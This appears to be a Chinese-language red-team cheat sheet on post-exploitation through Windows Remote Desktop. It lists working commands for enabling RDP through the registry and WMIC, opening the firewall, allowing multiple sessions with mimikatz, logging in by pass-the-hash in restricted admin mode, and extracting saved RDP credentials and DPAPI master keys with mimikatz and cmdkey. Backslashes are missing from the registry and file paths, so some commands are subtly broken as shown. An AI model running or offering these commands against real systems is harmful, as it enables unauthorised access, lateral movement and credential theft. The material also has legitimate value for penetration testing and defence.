RDP相关总结

0x01 确认是否开启RDP0x02 命令行开启RDP0x03 RDP登录域内用户0x04 RDP端口修改后连接0x05 RDP多用户登录0x06 RDP会话劫持0x07 连接报错：没有远程桌面授权服务器可以提供许可证0x08 无明文情况登录RDP0x09 RDP凭据获取

### 获得远程命令行权限后，通过命令确认是否开启RDP ### 找到对应服务进程的 PID tasklist /svc | find "TermService" ### 通过PID找到对应rdp端口netstat -ano | find "PID" ### 找到进程对应的端口号，这个不准可能，会换端口！！netstat -ano | find "3389"
### 查询注册表fDenyTSConnections项的值为0，则表明已启用RDPreg query "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections

###  windows server 2003开启RDP服务Wmic path win32_terminalservicesetting where (__CLASS != “”) call setallowtsconnections 1###  开启RDP服务，可能会被杀软拦截reg add "hklmsystemCurrentControlSetControlTerminal server" /v fDenyTSConnections /t reg_dword /d 00000000 /f###  关闭RDP服务reg add "hklmsystemCurrentControlSetcontrolTerminal Server" /v fDenyTSConnections /t reg_dword /d 00000001 /f###  防火墙放通netsh advfirewall firewall Add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow 

### 场景：一台跳板机多个红队人员情况### 方法一privilege::Debugts::multirdp
### 方法二参考：https://blog.csdn.net/MsTiang/article/details/123425123gpedit.msc在“计算机组策略”中依次展开 计算机配置-->管理模板--->windows组件--->然后在右边的菜单中选择远程桌面服务在远程桌面服务界面中；双击打开“远程桌面会话主机”在“远程桌面会话主机”界面中双击打开“连接”在“连接”界面中双击打开“将远程桌面服务用户限制到单独的远程桌面服务会话”在“将远程桌面服务用户限制到单独的远程桌面服务会话”界面中选择“已禁用”然后点击确定然后返回连接界面，在“连接”界面中双击打开“限制连接的数量”在“限制连接的数量”界面中；选择“已启用”--->然后在选项里面“允许的RD最大连接数”里面选择你能接受的最大的同时远程的用户数；我这里选择的是5；也就是能支持同时5个远程桌面管理；然后点击确定即可

###  实战遇到RDP报错：由于没有远程桌面授权服务器可以提供许可证，远程会话被中断。请跟服务器管理员联系###  解决方法：mstsc /admin /v:目标ip

### 仅管理员组有用，需要debug，先获得管理员cmd（psexec自己传自己）。### 理论上是没有问题的，目前实战拉起RDP登录界面还让我输入账号密码，下次再试试。privilege::debugsekurlsa::pth /user:administrator /domain:abc.com /ntlm:7***********************a "/run:mstsc.exe /restrictedadmin"sekurlsa::pth /user:Administrator /domain:ip/hostname /ntlm:nt-hash "/run:mstsc.exe /restrictedadmin

mimikatz.exe vault::cred

#查看mstsc的连接记录cmdkey /list#查找本地的Credentialsdir /a %userprofile%appdatalocalmicrosoftcredentials*

mimikatz.exe "privilege::debug" "dpapi::cred /in:C:Usersadministrator.TESTappdatalocalmicrosoftcredentialsAFCD2DF5CFF3011965E57ABB0ED64240" 

//再执行如下命令，找到guidMasterKey对应的MasterKeymimikatz.exe "privilege::debug" "sekurlsa::dpapi"

使用MasterKey解析guidMasterKeymimikatz.exe "dpapi::cred /in:C:Usersadministrator.TESTappdatalocalmicrosoftcredentialsAFCD2DF5CFF3011965E57ABB0ED64240 /masterkey:3886e1d7a926c6267058d67385cb4e985b3aa0d3f635eebb5fe83ce8d0457d4493e8694f60d9f19a96631c89411ed5477254be5cd5d90c5ed5d36bd4c3271615"